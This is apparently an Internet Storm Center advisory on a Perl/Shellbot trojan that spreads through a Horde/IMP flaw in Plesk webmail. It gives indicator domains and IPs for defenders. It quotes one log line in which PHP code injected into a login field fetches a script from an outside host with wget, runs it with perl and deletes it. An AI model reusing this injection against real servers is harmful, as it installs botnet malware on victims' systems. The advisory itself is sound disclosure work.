Active Perl/Shellbot Trojan
ISC received a submission from Zach of a Perl/Shellbot.B trojan served by fallencrafts[.]info/download/himad.png[1]. The trojan has limited detection on Virustotal [2] and the script contains a “hostauth” of sosick[.]net[3] and the IRC server where the compromised systems are connecting to is located at 89.248.172.144. What we have so far, it appears it is exploiting older version of Plesk.
Update
This Bot exploit a vulnerability in Horde/IMP Plesk webmail, you might want to review system logs for signs of the server attempting to connect outbound to fallencrafts[.]info which appears to be exploiting a Plesk [4] vulnerability and maybe other to connect to 93.174.88.125 which a lot of activity has been reported to DShield for the past 3 days.
Oct 26 11:58:33 HORDE [error] [imp] FAILED LOGIN 93.174.88.125 to localhost:143[imap/notls] as <?php passthru("cd /var/tmp;cd /var/tmp;wget http://fallencrafts.info/download/himad.png;perl himad.png;rm -rf himad.png*"); ?>@xxxxxxxxx.net [on line 258 of "/usr/share/psa-horde/imp/lib/Auth/imp.php"]
